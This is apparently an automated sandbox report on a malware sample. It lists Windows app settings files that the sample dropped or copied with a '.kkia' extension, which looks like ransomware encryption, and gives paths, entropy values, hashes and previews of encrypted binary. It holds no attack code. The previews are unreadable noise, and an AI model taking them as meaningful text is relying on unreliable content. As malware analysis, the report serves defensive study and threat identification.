Preview:	regf....${p..u.\..!xV.....0..X`..<.Z....}wn...(.x..[3b..^P.U..K.....C90.....q.8.-.Pu_.`.o.....~..\|}.{......H!.3.y.q...]...7k...'.3....Os[...IF,rx..L..zR.......+.)....m..Y>........CaD...&U+,I...@.9Z.R... .6......,.@..6).@l.P..f..&.O..$.[..T.c.S}.....$DK...2._.3M.....m..k..u.nH...W........{...s.j.....n........)e....%..".....9p..6...........A..`.!.[:..n..=R..y.u.0.....}..5./K...Y.aE..R.....V.....V..@.P..>I.m.j..%.`./L.^S......a...yT;^.s..]..... Bf........#..(\|......Q".n......K-.M.t.:X&.?.....9..`n3E;...F.......n...Zt! .2- ...r...._...e.9/p.T/V..!....(....0!(>e1....y.....R.r.........{H.dn...\|r).Gr..@J.....)..i..0WqV...!w..0.F...g}0..O.G9..h...E.....,M8...L.ML..0$^-........`.6o..U$U.X..Y..0..lE...\..........r.....^FOZ.R.. ..d.......c$.9......{..V.*........?vV.#.?j{.>..f....:..Wq.M. ..I..y2.C.,..@.....K..<...W.........]y.<.S...wQ.v....D.S.,Sk.Y.c.&.".sDLD..[.>....L.MC.4.o..%noId.g.W..K.4.2.......Ffm{P`Us..k.t.<l..?N3q....f&e....#X@..L....j

C:\Users\user\Local Settings\Packages\Microsoft.MixedReality.Portal_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979538613009272
Encrypted:	false
SSDEEP:	192:nVgoAb22Jg55uxzDOkVqP8HvFBJrzsI0CHhvV4gOfh:nepbNb/Ol+FTrYqHRV4g6
MD5:	4F7636B6FD776697369169A81ECF827D
SHA1:	97958DE4997BBAD9D7F284AE7B3A1A52B585107C
SHA-256:	046F995838C9BF4AEBA0001247A6A262941F55FE08A0D39102D83BBBEE1ABB8C
SHA-512:	0336106B2948D91EC7109E4E0D78564E33615333EDCD589BF7FE168B6DE60AD1D8E771D7D779EBA7B3656BEE116A1CA30ADA7C15DC6BE2E6F0BCBFA28958D753
Malicious:	false
Preview:	regf.8.+.c....<..M...\|.n.........j......."~.}..#;....^..../.?EC.,9......\|~.Z............m.l....^._...,X..:...z.4..~.......W.L..i..`.%.83...TI..\|S..{.LV..m.[..A.h.....!..D..g7..........U....s....aF.,.[^.H.0!..)4....n[..N..^g../....G..2.S':a.N.5\...S~.T.5S.CV...T.f."./.......e..Z.;nu.C..R.j........p\..A....fh.5.....6...4.2.m. 9.\..x].(e.....QY..6..}=..Y`. K.bUAt".N.f...H{cRD..\|..+c....s.\...M.Ik.;B.GdK.4+..(....8VG.Wfp...E...R7..}...HQ.......V.=Q..3.Y.Q."..x......v.......o6?....p..j...G!.rm.o...?k.L....O..\|1b...w5...F....U_..[.k.J.x{.."..\|..X.#i......L#....f!.R....rh.jm..T.o.wt..Xg_...S\S..7.\|....s..4....4Q..z.I...0.ohF..../o...G..h....FP.KdX.i.......>..Sy.j..K2c.............?.#...&"v.......aR..Z..Z../...Q........l..a@13....#.s9.....~9.-...~.....)c.4...g.0......9..$^x.o...sO..e>.%..;o&.w........\EA.5.b\|`J....$..!...@Np.1.....?O.w1I.F...k$.v~..cn...&.y......w.6..^3...F....?.c.y.T.`.h.*...jb.....3..1.....jRz..4.[o'O4..n.s.E...:B...N....\....d

C:\Users\user\Local Settings\Packages\Microsoft.Office.OneNote_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976086876791063
Encrypted:	false
SSDEEP:	192:7nmcQKc1r+Y7rAcKA+qliGdus2RRf1BTkhRuFc7+MogR79k1ltR:7nJSHAcl+p2YBYgc7+0IltR
MD5:	9353E330A45BA0FD54807E975C3C4F89
SHA1:	CF9F7DF73569A5FAFD8987255EF0D798E3EE5865
SHA-256:	6B3650C4652D5F342276C43E08CA6BEBF11A8F8702B4812383960EF3C869DA5F
SHA-512:	6B36D2A1081F3AB9A40E2B8D5D75002F8295C7494B38F5AE94D23BA762D5926ADBFEA6362CF7CE75152DE463A483308C3174C6275398D49AAB57261397A0EC15
Malicious:	false
Preview:	regf.[.$.My..w5`5W...ee2i.M-...q....a0.v)+...mp......O...@..\..C.O..@.l.......P......0...@.....;...K..........c..D.......Z.k..%...+.Gw....F.....G..V../..o........~Y.%..3.,miv...Ph.....ST..s..RTT.%`.>....hD....0..L..i..F..OLp..W.K%h.@.\..~.>7. ..=._..I.....(]8.8....z.g....&O..B..]..>+,.37`I[..s..v.K5..(...F....4...........:...J`..Z,o....&;&.uf_.....bX....5...G.ml.d.O.+..x\.....9.}..S..]W..#~..U.....s\|..O..^...{6.h...:v?k.....c5..P..h...K...m-L....!\....T......fG...9M.e.3.M..G..5of..)..!.6....F.y)2..X.kE_x.f.......l..{3.v.tb...-[..p.;1^..$...1...Y0\q..G.v..9..S9w.\.i../n}.y.#....T_.t...Y.....ArkV.-.zQ...q...v...e:..*...!.X.....;...nC../...=>.i..<..?...+l\.D.)..7..~X..........s.-f\t..8........e......)......S.Q#...@.....2:YI..#.`..B..\|.-.T.6...t\{...).f..9..N..TO....N.!..f...Wx....u].RUk.....p..i.,...9..].%.@..m0.5.>.s..F.2..5..!C...\Lj/...7o.(.U.X......a^]._.E.e.~_J..HX..t....V.nW.vwA...Y'.>).....#.&....2_Z.s{..v.).k.c..W2k...

C:\Users\user\Local Settings\Packages\Microsoft.People_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.982034089291741
Encrypted:	false
SSDEEP:	192:yuEmmx4qEGkT3nMTbg48edh7+D3WxgMAeNRyHIhb:yuEmjbjMTbgRedh7O3WxhAyRcIl
MD5:	19D63930601F076C7DCDE6AE2B363C2F
SHA1:	96B9EC248C01AAFC72375C3358BB98B8A86C67D7
SHA-256:	73C537BF851774920C3D6444D3AC6F78A5D5CD135BC05E4624DAAC82F6D450C4
SHA-512:	9A1235A948EA9EBA86F062F35E3F6F375D970173136867828E1000C30A0781ABA856FD686D1024FFBF9E168E0DD7B75950BA186C57720BC3863ABF24B2B0AD4E
Malicious:	false
Preview:	regf....d:.......J,...c.o<.=......'..\..R...C...HoI..EN..L..J.&Q.0.{.u.....M..(.Zk3A.9\.H%.....Y...d.t{j....n.qU)..te.ja.8.-.f..W...=k..r...,w;.D..2....K....'.?...Tr[.....RTi]..3.\,9.o.=.R...k....Ih^s.{.e....]..i.. Z:..%..:._.O.4..j.-.}.....qz...~.y..........%.............gfvM.2.).LJ2...Eu.A..Gq.....m%....3./.]....[n.g...% .I....[@}.:T...N.shG..(.o..FV(.N.u..K-..p.H.Y\|C..... .T$....@.l..[s[.P.0GU.My..PhV.........t<WP.f.":b......].y.;..N3.....;k+.1i...Mzu.7w .hI...N..k..$..&,n.Zc..B...E...T:b..h...?.f..(..d...~\.y.....T.8JK..%<h.i....j....s.}E.n....b.3.@ .?...x..w..-..F.].O.NU....s.i..?..y\k2.....y....KK..."...S......(..+^...Z.A...Q.._.-.E$.Y[..Yxcx....9w...i.F#.?M.@&.!..... .f..&.w..........X..B%,..3r.&.%......f.BR_+.. .}...i..A..D(..{>.5..+....I..y.I.*.m..Z.UN.........8..Z..IV2..S..v..O.h9.3..a..4{{...}.f.....,.iE[.[..._...........({....K..&.L...g.5.F.V=.7..k.x../t.w2..........$9L.PC...l...UHl..Y.9...V.H....T..B

C:\Users\user\Local Settings\Packages\Microsoft.ScreenSketch_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.973854420506463
Encrypted:	false
SSDEEP:	192:kkyD7vtJtpN/Awrgu+ALJyAsqOErr0zMBFmhZSBRUWnRNNzB89xsRU:Ofv1/fmiXsqJXBESRUAVy9xsRU
MD5:	C6BAA4EF09D3B3718D51ACAD1A495C81
SHA1:	1688B6448ECEEA7E3334A7F8CEDB01DDC4F2840E
SHA-256:	9DF5B91D49F4C5F4AE64F994F7C4F59B2CAADBFF013501C8C0A7901F55E36EA8
SHA-512:	BC1C0E0AA3CC0E0D298AAFCC362E6995377A5F005C1ADEA18689FD705513EDEF4EF9AA1635A025A896DE5670F50A10CA58CAE3F37983D150B82427B19A367BE2
Malicious:	false
Preview:	regf...u..O.;H.'.\..[...r>.D..Eo...........}...P%^(...];.Nr.>6.cI...~.g}.K.y)..6.J.w.-9{......-...Sq.AY...F.d.+..YrA(C.u..g..^...i...HL...2...4.EX7[.7..G.:...o..:.s..IO..6..N.XH.}L...V[..=..6...a..}v..?..\|Zp.........d=..........M.k,...C(...7q..H..T%^T...?........j...R..T..rg..P8.d..."U...r..@..F.7..`#.._=#c..../.f.@.(.m.4......(..~..2/."........,.VIYV.@.W.X.h...K.<..7...B+..6.r..u)`(.v...Z+...{.c..ke..H.y..8F^...n...W....=lH3..s._...w...@@J.t.8"-..P.W.RZ3.~.l..-..p\|."........P....d#..f.>.&v.&....Zao.)G.....1...M.r..p...X..)i.......PN.\..>.7r2YUm.-.B7..5yJ.[..a`WJ.C."$.......=...i...i{=`....... ..A...Tt.,[.r.c.ld..5)..._{.vmU. ..8T....`.....D,...........eb..)..S./..;[.o"...e..6=e+.._D...d......TZ...d..0.!F%[....-h..?z...a3....nu)...@.....U.....+...........G+../....N....}.2.7..-..i.%m.hl^.K.4Og...y6q....\|&.U.toy.*:...C=.....@.c.....).-.].&G.I.<.@.7._.........`....b..f.U......_.J....8.3...IC...Z........WSy.H...?.i...X.f...M=!U..0..J

C:\Users\user\Local Settings\Packages\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978520531382579
Encrypted:	false
SSDEEP:	192:bqsWCwHeyQh7VPNFzxVR7q4TtgVQKlTKE9OTqaoKWmmb:m3eyQhhPNFzDRm4h9E9OOaoKmb
MD5:	3277F4FCD5095F6430BEC44FD720B7EE
SHA1:	0E3A04075F005627724935B51B98C63527C4D655
SHA-256:	3446800801574B32197BC3410D9BA9685B0EF01EB4F05BE3E3705AC903997554
SHA-512:	07E9F26723A525368795E044A9C6E22D2DAACB22CEC1B86DE476A0757D6EF20B0DF2A2C0115FC94ADF4263761E858CD5FD82C1A6162596FA9EE455A98E7CD2CE
Malicious:	false
Preview:	regf.BI.R.Z.....:.j.Hh..W..J..]f..c.G.2....>.........j...eH.{I!........[Ud>..\.^..@.,ADO..I.B..%_.#Q.......n.-....2<....e0]..e..V0..u..9rr.?.).lp.V...Qbw.bA..~.a..N...l^!.f2S.X....j...."J..,..h.o...f..{...Tx...+..`.......RS6q..<4..].dwwBW......$:.-.9w.J....I..0............."..i%q...8+..y\...H...I.l....P..T.[.LQ.KX.-m.(...DQ.9.....Zx,.....r..X.....Z..u.y._...m..jL.X.......I.dmR.......5.mL.ZO4L...o...\..ce+.OZJH.Sl Fp.H.#.4_U...GM.......^.9v...!FA.tMq..T.6..(...qz.d9.....4..\|f.....i..BJ...9g....r4....,F3`..z.90Mr8]bN..;Z....av0...tQ.2..]1j.D..z..<.....%.....M.pW.r.-.HR.iP.tO..O........?.+fi'.ZvV..C...K...A.d...MzPk..G...l..........3..R...q.gx.W U.{k..)d....r, ....Eb.....WO,......M...-......4...P....0LY..rN..2r^.z.].W.e....i../.d.2d4........9....6.I.+:Yw..G....O....8.... .'..S..Fr.-pK3..p.3...l..cX.=*!)...-=!...,f.x./h.T%.1..r.#..M.[..z..G...z\8sCV.......LN._.Jg.HY.......w..oR..?..Z.QE.......Pl.n..Z3.i.......g%%W$..x.....

C:\Users\user\Local Settings\Packages\Microsoft.VP9VideoExtensions_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979584427573107
Encrypted:	false
SSDEEP:	192:fMuN8yBptExhYN8SFtoDBwpf/N8Hy5j8HGNAMrygcTuRbxK:Ek8yBHkYNpFOrQjIy38Y0
MD5:	37F4EF4E12379EDE28ED34C297A6F67E
SHA1:	3D56AA1ED88FAD76F0CDD817DBE42166CE57E3C5
SHA-256:	40D6F36472939DAA944E6793C99AE1FC6BB1FC32EF38349D7254A381C4EE3F5B
SHA-512:	416D6DEFC71930F165DAADCE12D5E7E94A4BF388C01646A2E18338C73F7301D917A0E61110184F7F9A4D44658FDF90B6A3FB9FB0D3671C4F5832F6206E9B2946
Malicious:	false
Preview:	regf..y...).Kd.<.I.......~.....n.....{..."..Z.r.........]......5J}0.....<$....(mr'`K1.8 ...^.%...}@..y...`.x.n.....P.2.A..F&b.."..b;...J.........P.\..=..I.s4$........P\.&y.I.. ....9.IM"....N.N..SY.s....=.k../..P-...(8b=.1.7....li+..3f.3.....EK.r.....6.Xv.-..>...<^.NS....\..=.<..'VL...(N...O..dJ:.r..i.D&#Z.]g.L\.Q.8.K..\|.1..F...z....'..e7C;Y.u>...C.`..&.iS..q....oL._....(.9.h...N`h...3G.nt.}....U.P..b}87b.Jd....4h;.N...x.E..:WR-...,.k..#^..u..(....J...LZ.4...W;...&3jH..'.sUgB.....l.o.W@.y<.:..?.U..v.......S..u.m....o..MM..j.....?. .........{.!..^..6U..^-..\5.....7.h..,.L1A......R^......~...1.JWlJ%......'?@%...'p.~o.1.....F.b<.....N..K,,.$'0....R6...[rUv.M]..z.$W.K...b.$4.....\.Q...?.. ..Q....}c..I......xFa(..G.~(=...o.K`....M...J...L.f.+~..V..?.L........."_.....X.wd{G..i...C.p....#`....g[.....@?DS.[....j.+$P.)...}l.^nD...8....E..3.J.E...ty&.......x.-..!-....b..0...4>......X.........e.e.%G..V...Y..=...E...A\|](..4..j...{=

C:\Users\user\Local Settings\Packages\Microsoft.Wallet_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975076346831855
Encrypted:	false
SSDEEP:	192:dQD2iDgo4eRG7cSDA2dmeCvRW98lUtDA0d7sAlVWXU:dQD78jJSC88sAlV3
MD5:	423E3F1E49BA487B74EDDD89431EF75A
SHA1:	C4E12A920FED83491E231633C2DAC682F13744BD
SHA-256:	498899DBF821641E9FC0D13BB63378553CD1444449ABEA4E590F513BDE17FAC1
SHA-512:	5A81895E080A0621AA71FD7B8F6DF2E26068E573EA576AEB25ED41E82131B0B79C1B82B0AA1924E8A56CF1197A086F58DA22310A27337FD508A6834B722FD460
Malicious:	false
Preview:	regf....}?.._.....#pa..4..`..5...;.F-[......./]o^..%...)~....&4.^.W..8....3.._X.`.C....[JEG......v..o..uV.w.k+...&._$.f.l>U...8.q..?.H..oZo.O.a...."....v.G.R...t......o...h.I.I?..1....P..c.....#..=M..!..."...7Jh........5.@..R..&p.H...VdV...o.fd..vg...,.@.....W.....Ky..q.P..../..--F2....j......]{..T.mV...^...&...NUc.eA}....>m...e~........E.;....3.K8...........+...CO.....U,......Y..$.s.#\CO2(..E.s........S.D.M...x..\...s3A....:X....z..V.j...T.....z..A..b...YkK......&V..4=..r[.j....G.+2...J.S..&....,..)4{.1H..q ....n..lmL.#a.^..+&r.=..'./.X......y.A.U....".u-.........\|....G....x;>....?.P....2...bZ.\|..$.@T..]Oq...z.V6l...l..0....\|=4`.......l....m.G#..`o`.:.g1.$..Btz......&A?.&]l.'.....YXP.k......k.......Nl..5qN....\..d..x.s....`.=...v..R\..W.....T-..PlJ...o. ].{Gn..-x^p?.....T....\|P........-6.k.xd.............I.p.5'zo.1l......'....r..7d(..D...K.u.!K....3..U....K0g$b.z.s..j.Ra.{g..D...Y...........02..I.yN.......\..D....{@...o..

C:\Users\user\Local Settings\Packages\Microsoft.WebMediaExtensions_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981843143983203
Encrypted:	false
SSDEEP:	192:3MtnzTojcc0n2JV/r1+Ory+qlWP0PP8H6gvzoiAa3swsmCyr:ctzUIIJ5xy+qSCUatq8wszyr
MD5:	2A432E24E913508A6F023C4466BD2CE8
SHA1:	23B21E7A61F89BA67B6FC25C133D3E65A13D1B15
SHA-256:	69ABF27BE08908E80AA4422C2C2AF17E9BE46376EB0405B722F63A5721EE64FE
SHA-512:	378DFEC34F697E154F2458D50C35B3325648999DC1990D4C12978FEA63151189DB6A3A8162FBFA7C70BCFC053B65FA57E22B992C438D4935B14840777A3EAEF1
Malicious:	false
Preview:	regf..)..p.a..<..y..(f....4(.#..........c....b..:`3....!.V...}.!...u.#,.`.S&.48Z!.D.....o...-xT.....U....Q...H...+.#2k.HU..........d....1....... F..v".\D....&..9.0.$L...&...p...I.r..cUa.K.V..H;.......8V{.K...3y..Y.E...C8.......G...y..L.....p....u.r...U{V.H.b..+.=@(.~.,...g.S.K?T<..Z..)?.H..]4.:QJ....8gP....yu.Hp...GJ.Zh.5"KQ.z.T$F0....>v....._h."...........#...y.Kt.'....7.?f[..i...R..$L...,.^6.ivp.......+..zTF.9.y....S~....trB~..B.Q.45PO(..0..t.......`...7.....u.x.~.....,S.5..(w.\.a..........m.R.k....s.,...N./..]G..;i..IT.....r.~..X..n.{ .a.P...c}g....m.....`...=u7 ....s......W.......B.I.E%&mmg.c.w...."...._h...l.&..i..... .e.......c..T....t:.n.xL.n...YA.d.S......9]1....EN..Z..J..dF.r..Cz..F..V.W..x....\|k...+.^>........0.....#Rb.....j....--."..}....d-tu.3..UL-..f.....f..I.{.0.../.J....4...L...V...M.&..I.P...`A}.b....)....?!g....h*....p..:..F..:.z` ...D.....%..sI.Y..E.lg\|....^?...s.>..j..1.bz...W..6..e..n.x..yW.W',...E/...f...q&A.

C:\Users\user\Local Settings\Packages\Microsoft.WebpImageExtension_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976392070938204
Encrypted:	false
SSDEEP:	192:5L289rLtyo8CnBnXWJmkVEaWGArX/Cwwj8Zf7uw285XmmQedtJmGNDTu:B2QLJwVajbKwmuuqyezD5Tu
MD5:	3653CBD81FD6877846DFD0365213B1A1
SHA1:	5BF95D32AC4344D8E52588F42C10F8A2A9AC27C0
SHA-256:	2BD65247EE3C77C7C909599DDFD56E71D554C05128A0CAC513BCA2B79E60AA85
SHA-512:	43A552BDD750B28C1860078EB639FA3B94DDB41235D68DD8E7E596DACD9A83D75077550D0914B127E384E5C09E8B99DE754D5E284813B80EEE3774A72C66A30C
Malicious:	false
Preview:	regf.F..#..W".t.K..!d6..ci.b.:z.7..K.$......ko.v^Ti{X..=......ZNH+.Cl.1.1..C#.Rz.D.j.KP:W...p.Ee.....{.C.FfN;.Q..sj.R...Y...,..I.......9.C...V..g.P....0<T...3../.!..u..2dx......fk2.`.D.tB..z2....w.7..K....}..\..u......H...7..(w.,!N..5..;;K.].Y.5&e\|.G.n/V.l.R.DU.EH.!7..\M.Zq%..D3....+..k.D.......Kd%bVs[..(iw...B.\|-...{.9K.kB....dEu..?..z.o.Z......l.i..{#.'....q..K.].....J..DN.Z..De.m.J/O...,.!{M..%...!%F.#2....7%3.....B.. M.@....}.R..4/.. ...........;..q=O..7.k.../....H....0W.......,..o..pq...q.h.l!...I.c.u..m.y....Dr.p.....;.e=.L.V....[...7.f..B.n5]UQ'Z...N8..1.$.f.Ko1...M.H....<..?..-^...(.L(...........r.K...-..O 5..$...OP....%.P.....Y% .8..j...L.l......@..hm.^._^...).Y.C...6..a....#...?z..O..p.....N..,?!...B.z....>.VE~....h......G......Y.G0........4$.&8..~.`p]-f..A1..`<y.w..a..a...5+F{.$1qbqZ..:.:vw..F...s....*..`.I..h.E^Mz.~Rc..\|.1.....B/..`&.}....S(.; ....q"...H....,I.A~xRk..d......S.g.\|.zN)9.#.zK!.....gg..u..L..O?.X.oWx.V3n6..D.$..]X.

C:\Users\user\Local Settings\Packages\Microsoft.Win32WebViewHost_cw5n1h2txyewy\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980519082997263
Encrypted:	false
SSDEEP:	192:cQv1Cf37C3UY4Mru2u4C+Z7yI9IbQGrikOFGCAmXGQ7:zAf37qXtrpZ7yHQGrMFXXGo
MD5:	9D96AC2A15DC5C829150D772F31D3BD3
SHA1:	450974B203359C8ACEF984E900FE10E21A8BF55D
SHA-256:	F3AC8EBB77D4E12B3DD548213CCD9513420B1AF9E53EAC2B38772A74538D3905
SHA-512:	8F1A738BABB88202D78A8E2781BC066FDF0B97ED87A050DEE5F9DF5C899187CB70CF1E1BD8AB82553E0FF595943EE81DA776A1389284E221846F2BB3EE9D7FCF
Malicious:	false
Preview:	regf...;..&.i...-...".bSQ]........_c.......j..x...y...}q...NgR.......:...h..m.yn\Hr..""J....;.O....\HUf..@Q...H;Y.'.yd......+..i..&Ti...W..../....]....z^..Kv.....Z..4.V2n+N......Q...F..A....v.Q..S..`h.=..R..q..~...-A....4.3....-B...u....l.`^L&a.f.....;".\4....HH.H.%\|6..H...w.(2p....v..%a...bMp..'9.F`...1...]......_..K...F".bm..[.+..r...C..8.Q.s.L.Da%........s$K.h..q.e\|..zB.H...... .....^.ye\|.o.......>.Aq{........'......h.Xm.M...b&P......x.B...........h.c:...~t.W.,3.Im$.>..W..cM.<l.........).......Bs...q.@....zN=_6-..2.R....y8.....:...j.d._.u.k.......>...9.-.......-h....$.v,b.z7..O...N..x<a\|6.If`T>q....^V.......}.j^.VP.EU...d...s....#.X7. .r..-......),E......crQU..".7.....z.....B_J...2......z..i.....D.?....a.}z.)[.2(.....i$...k...g.G[w..A..4...(>....).;....NE.crwZ........'....x...NiIC........Y.h........DB$t..4..5.Z.g+/.Y..?..y..XK.-...p..q....i/..W.$N\7.l.Gn\|.;_......Op...n....t...P./...e@+{rl.....%.G.2.EmIy..".g..I......[.....f.7...{

C:\Users\user\Local Settings\Packages\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976319273737384
Encrypted:	false
SSDEEP:	192:Tl1EcVkViKfMaad6xrwP0g61oEh1PxeCtaeMmV:Tl1EZfMjyrC0g615jPsC0jW
MD5:	75021255491627ABBEBC7C06E02DF469
SHA1:	C9B4B43C02BEC188EC6C45ECD8B00B3EDDB86819
SHA-256:	E9901FE92F8C1EA70065415ABC8E027B92895BAE645ED73708D0592A9371C05D
SHA-512:	062D0A98CB17215A1854D0A436C0DFCDD158D9BB6F37656C7097CD4AEF5E6790B6E1591F1534F12987806A4C591366AFAFD3B861D02D9C356952DB43934C38C8
Malicious:	false
Preview:	regf.Z....h.~."..Od.6.=g....8J....32F..U:...b../.w..5..C.......e.!.K=T..2.=..U.....;..pp...D%..!.."]..$.Y8..B.+....X~..U.g0.d.....v/.lx.u..=...:...SN....zL.}...b...KK@...2.....oP.n.........r..Z.{..f..G..c....u.. .b.%.9.....4...A..s1..I..."3......z..+...6.v.....>......o.m.MG-..w .^O..I.{w...SF+...c.../.J.. E......1nI."...+.B@?#es..<7.....c..>.K0.......t......a.]..4.L.F.i..v..$t..."qvh.m@6T...Y. .....h.c.J.[.n.v.....=x~.13+._..G^S.m..h.5...O..W>..fV...t.=.....-!.}.$.C.~..yC..t^.F..H.>D.p.r..+.{.%.8.].5.D.5Q...%.E.....v.rf...-7.E..!o.5q........G..Fd.....K.:...y.&-.H...$..))...;D.F .!..o.dY...\|.O....D.4r..x... .Fu.HM.:N. .'E{........Q.....zK.7.-B.H....\'.....Zw.E.M.].....o..m......G...N.^^...v.j\..s...A...x.C.NE...M.-.].."...<.(...E.u......3i.-T..ak.b...e..xu-.Q.v..........},..^.;...QbHA..`...'..=.....D.{..:.....>.."...WH"'#...`.....l...m.jY..Y..T....Y..lO.......sG....{.6c.b..._.N.3I.....S.YZ.+.8;.....~..5.E.%.......V9...I@{..t.L$..

C:\Users\user\Local Settings\Packages\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976642694459123
Encrypted:	false
SSDEEP:	192:RcQj7R5kKFlglcDr4IyKA2qxFQh7oXKo1FeCO7jyHVsE/JQ4:RJjV5kKwiDr4dd2CGcYOt
MD5:	11EB166300A7C110CCAF7C5C6A419C64
SHA1:	12225973C1695942B0596B9DAAB5EC65193D518C
SHA-256:	3FDA040E30DF2466B036F55B3EA6C9AD9D5189CC4D90A6909AFCFFA976431102
SHA-512:	0232FB5352ED4CC5CE518A75D31BFF2906B1FCEF185BF71E95E803F461C5629F8FF68FC487DE0DE636E9D8E2E670B0347300DEA910EADC2EB6606A6AFDBB19DA
Malicious:	false
Preview:	regf.`..T.....o.......I..l......k..c<...dG.......h.k.^....n.:.R...v...NTh4.=..X..'p.0..^>..A<....2....Y!.3?w.@2...N.c.;..<Q...^.I...M....Gk...9...z.b.n.....@;.mp..Vg.k...^.0.......v.g.O.Q5.QBN=...J.v.Ib7.6U.I...l..A.&.e(5.g.W^...2l.=..OtW(....M.b.m...,.n1......H9..h.x\|mdH..H..b.5......ag...._.5k...k..S.U.U...v......rW..UU.i.)...&.a....~.\.T0WY/a.e<.1.Qt8.D.a).._...K....0\|4.N.~@..B.)g...%...[t.....f...=.8...lc..q.4Rp][....)..k[..S.e.j[.W..........r.9.6...0..<e....T....%.u.&..m...M...m.h...'QEJ.E:n..... .e,..p..o..3D6X..."&i%j...9b0Xx<.......A-..UL...Q......b..z.C.......Z....M...`.nGIOF...P>...x0r.k..n.K<...(.B..R.......g......&\|...o.......%C(..D..%*(..sC.9..........4?w@sX@z:.......N(..r.'.._...I..k....\|or.;x.f..L.T'...5..U.B#.....E......#e..?S.'.h.m...0i{_...r..T.N/......E#.,.I..8T.,.j}..va>...].>.2..k...X..J.)..H&..:)......CF.R.(.q...[....x...o.2\....X....s.a...i_...K..\.]3..6.Qz...I.......Y..z.....gm..b".f..Hd...8.

C:\Users\user\Local Settings\Packages\Microsoft.Windows.CallingShellApp_cw5n1h2txyewy\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.974607672072704
Encrypted:	false
SSDEEP:	192:pDz2C5m1LHnN9C2W0M3oYcjFSPCQU8BE7jwmT7:p3xUNHQQYcjFSKTw4
MD5:	0C9E5BC985F4143DD7EDC0D60F37598C
SHA1:	7CB78AA698225B4FD4C369C2F2931EE00BFC55C1
SHA-256:	0BC6D9A3DF8B2D2AE237E6D79561AAC6607578834ABEDDB96DEB9C65BEEF43ED
SHA-512:	9EA0F13B9EE505C68B66CDCC4ECBAC4DD9077FC26A8675E1D6F830BF745D47F179C1AD6EC9C2147C8725D32F3E99872A37C647A6F21C6FCDC5DE169DA6EF1858
Malicious:	false
